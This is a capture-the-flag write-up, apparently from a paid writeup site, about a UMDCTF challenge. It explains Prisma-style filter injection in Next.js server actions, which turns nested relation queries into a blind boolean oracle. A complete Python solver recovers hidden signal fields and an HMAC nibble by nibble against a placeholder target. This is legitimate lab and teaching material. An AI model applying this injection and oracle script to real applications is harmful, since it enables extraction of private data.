$ cat writeup.md…
$ cat writeup.md…
umdctf
Task: a Next.js app exposed server actions that accepted Prisma-style filters, letting attacker-controlled nested relation queries inspect hidden analyst signals. Solution: turn the injected filter into a boolean oracle, recover the unpublished signal fields and HMAC prefix-by-prefix, then submit them to the verification action for the flag.
Original organizer description was not available in the saved notes.
English summary: the application exposed two Next.js server actions. One leaked public signals and their HMACs, and the other checked whether we knew a hidden insider signal. The bug was that the analyst handle filter was Prisma-style injectable, so nested relation predicates could be turned into a blind boolean oracle over unpublished data.
Two action identifiers were reachable directly:
signalsByAnalyst: 60a1ddfeb092ed787fb44362a27b61cff6e945d3d2verifyInsider: 783c22fa5f432da054e7f973cb1a827a956078d769Calling signalsByAnalyst returned public signals and their HMACs, which already showed how the application modeled analyst signal data. The more important issue was the handle filter: instead of being treated as a plain string, it behaved like a Prisma where object.
That meant queries such as nested signals.some.{ ... } were accepted. If a predicate matched at least one analyst row, the action response changed, giving a clean boolean oracle.
Using this oracle against analyst quant_sable, it was possible to confirm that a hidden future signal existed with:
publishedAt > 2026-04-25T00:00:00.000ZThen the unpublished fields were extracted with repeated true/false probes:
ticker = KXELECTION-28NOVside = NOcontractPrice = 41Finally, the same nested filter technique was used on the hidden signalHmac field with a prefix search:
signalHmac: { startsWith: prefix }
Recovering it nibble-by-nibble gave:
fc434bd5283de7356831a82e8838632c
At that point, verifyInsider could be called with the reconstructed tuple and returned the flag.
signalsByAnalyst directly instead of using the intended UI flow.handle parameter accepts Prisma-style objects rather than a plain string.signals.some predicates as a boolean oracle on analyst quant_sable.publishedAttickersidecontractPricestartsWith probes.verifyInsider:["KXELECTION-28NOV","NO",41,"fc434bd5283de7356831a82e8838632c"]
#!/usr/bin/env python3 import json import string import requests BASE_URL = "https://TARGET" SIGNALS_BY_ANALYST = "60a1ddfeb092ed787fb44362a27b61cff6e945d3d2" VERIFY_INSIDER = "783c22fa5f432da054e7f973cb1a827a956078d769" HEX = "0123456789abcdef" session = requests.Session() def post_action(action_id, args): # Adjust the path/headers to match the deployed Next.js instance. return session.post( f"{BASE_URL}", headers={ "Next-Action": action_id, "Content-Type": "text/plain;charset=UTF-8", }, data=json.dumps(args), timeout=10, ) def oracle(signal_filter): payload = [ { "handle": { "equals": "quant_sable", "analyst": { "signals": { "some": signal_filter, } }, } } ] r = post_action(SIGNALS_BY_ANALYST, payload) text = r.text return "quant_sable" in text or '"count":1' in text or '"signals":[' in text def recover_hmac(): prefix = "" while len(prefix) < 32: for ch in HEX: probe = { "publishedAt": {"gt": "2026-04-25T00:00:00.000Z"}, "ticker": "KXELECTION-28NOV", "side": "NO", "contractPrice": 41, "signalHmac": {"startsWith": prefix + ch}, } if oracle(probe): prefix += ch print(prefix) break else: raise RuntimeError("no matching nibble") return prefix if __name__ == "__main__": assert oracle({"publishedAt": {"gt": "2026-04-25T00:00:00.000Z"}}) assert oracle({ "publishedAt": {"gt": "2026-04-25T00:00:00.000Z"}, "ticker": "KXELECTION-28NOV", }) assert oracle({ "publishedAt": {"gt": "2026-04-25T00:00:00.000Z"}, "ticker": "KXELECTION-28NOV", "side": "NO", }) assert oracle({ "publishedAt": {"gt": "2026-04-25T00:00:00.000Z"}, "ticker": "KXELECTION-28NOV", "side": "NO", "contractPrice": 41, }) hmac_value = recover_hmac() body = ["KXELECTION-28NOV", "NO", 41, hmac_value] resp = post_action(VERIFY_INSIDER, body) print(resp.text)
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar